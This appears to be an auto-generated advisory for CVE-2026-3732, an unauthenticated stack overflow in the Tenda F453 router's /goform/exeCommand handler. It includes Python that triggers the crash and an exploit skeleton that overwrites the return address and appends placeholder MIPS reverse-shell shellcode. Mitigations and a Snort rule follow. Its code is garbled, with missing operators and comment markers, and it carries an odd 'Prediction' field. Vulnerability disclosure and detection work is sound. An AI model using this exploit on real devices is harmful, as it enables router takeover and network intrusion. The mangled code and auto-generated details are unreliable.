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CVE-2026-3732 is a high-severity vulnerability discovered in the Tenda F453 router’s firmware, specifically version 1.0.0.3. The issue resides within the web management interface’s handling of commands via the `/goform/exeCommand` endpoint. The function uses `strcpy` to copy the user-supplied `cmdinput` argument into a fixed-size buffer located on the stack. The `strcpy` function does not perform any bounds checking, meaning it will continue copying data until it encounters a null terminator. By providing an overly long string to the `cmdinput` parameter, an attacker can overflow the stack buffer. This overflow can overwrite adjacent memory regions, including the function’s return address and other critical data. Successful exploitation allows the attacker to redirect the program’s execution flow. By carefully crafting the payload, the attacker can inject and execute arbitrary code on the device. Because the endpoint is accessible remotely over the network without requiring authentication, this becomes a critical remote code execution (RCE) flaw. The public disclosure of exploit details increases the risk of widespread attacks. An attacker who compromises the router could then monitor network traffic, pivot to internal systems, or use the device in botnets. The vulnerability has been assigned a CVSS v3.1 base score of 8.8, indicating a high impact on confidentiality, integrity, and availability.
Platform: Tenda F453
Version: 1.0.0.3
Vulnerability: stack-based buffer overflow
Severity: High
date: 2026-03-08
Prediction: March 2026
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The vulnerability is in the `strcpy` function within the `/goform/exeCommand` binary. The `cmdinput` parameter is copied without length validation. A simple static analysis can identify the dangerous function call. The following `grep` command can be used to check for the vulnerable function in the extracted firmware:
grep -r "strcpy" ./squashfs-root/ | grep "exeCommand"
Dynamic analysis with a tool like `gdb` can show the exact crash point. The following Python snippet demonstrates how to trigger the overflow with a long string:
import requests
url = "http://<router_ip>/goform/exeCommand"
payload = "A" 500 Length to cause overflow
data = {'cmdinput': payload}
requests.post(url, data=data)
The `dmesg` output on a testing device might show a “Stack smashing detected” or a segmentation fault if protection mechanisms are partially active, but the lack of bounds checking confirms the overflow.
Exploit:
A proof-of-concept exploit can be built by sending a large buffer to overwrite the return address on the stack.
1. Fuzzing: Determine the exact offset where the return address is overwritten (e.g., using a unique pattern with msf-pattern_create).
2. Crafting Payload: Create a payload that includes shellcode (e.g., for MIPS architecture) and the address pointing back to the buffer.
3. Delivery: Send the crafted payload via a POST request to `/goform/exeCommand` with the `cmdinput` parameter.
Example skeleton:
import requests
import struct
offset = 200 Example offset, needs to be found
return_addr = 0x7fff0000 Example stack address
shellcode = b"..." MIPS reverse shell shellcode
payload = b"A" offset + struct.pack("<I", return_addr) + b"\x90" 32 + shellcode
requests.post("http://<router_ip>/goform/exeCommand", data={'cmdinput': payload})
Protection:
- Firmware Update: The primary protection is to apply an official patch from Tenda once released. Since no patch exists currently, check the vendor’s official support page regularly.
- Disable Remote Management: Prevent external access to the router’s web interface. Ensure that port 80 and 443 are not forwarded to the device from the internet.
- Network Segmentation: Place IoT devices like routers on a separate, untrusted network segment to limit the impact of a compromise.
- Access Control: If remote management is required, use a VPN to access the internal network first, rather than exposing the interface directly.
- Monitor Traffic: Use an IDS/IPS (like Snort or Suricata) to detect large, anomalous POST requests to the `/goform/exeCommand` endpoint. A simple Snort rule could be:
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"Tenda F453 exeCommand Buffer Overflow Attempt"; content:"/goform/exeCommand"; http_uri; content:"cmdinput="; http_client_body; byte_test:10,>,200,0,relative; sid:1000001; rev:1;)
Impact:
A successful exploit grants an attacker full remote code execution with root privileges on the Tenda F453 router. This allows the attacker to completely compromise the device. The attacker can then:
Intercept and Modify Traffic: Sniff all data passing through the router, including login credentials, emails, and unencrypted communications.
Launch Further Attacks: Use the compromised router as a pivot point to attack other devices on the internal network that are otherwise protected by the firewall.
Add to Botnet: Enlist the device in a botnet for DDoS attacks or other malicious activities.
Permanent Backdoor: Modify the router’s firmware to maintain persistent access, even after a reboot.
The high severity (CVSS 8.8) reflects the ease of exploitation (no authentication, low complexity) and the critical impact on system and network security.
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Sources:
Reported By: nvd.nist.gov
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